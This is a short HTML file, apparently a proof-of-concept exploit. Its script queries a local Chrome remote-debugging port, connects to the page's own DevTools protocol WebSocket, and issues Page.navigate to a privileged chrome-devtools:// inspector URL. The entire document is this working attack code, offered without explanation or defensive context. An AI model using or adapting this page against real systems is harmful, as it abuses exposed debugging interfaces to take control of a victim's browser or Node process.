rofl.html

<script>
  const url = 'chrome-devtools://devtools/bundled/inspector.html?nodeFrontend=true'
  fetch(`http://localhost:${location.search.slice(1)}/json`)
  .then(res => res.json())
  .then(results => results.find(x => x.url == location).webSocketDebuggerUrl)
  .then(wsurl => ({then: addEventListener.bind(new WebSocket(wsurl), 'open')}))
  .then(ev => ev.target.send(JSON.stringify({
    method: 'Page.navigate',
    id: 0,
    params: {url}
  })))
</script>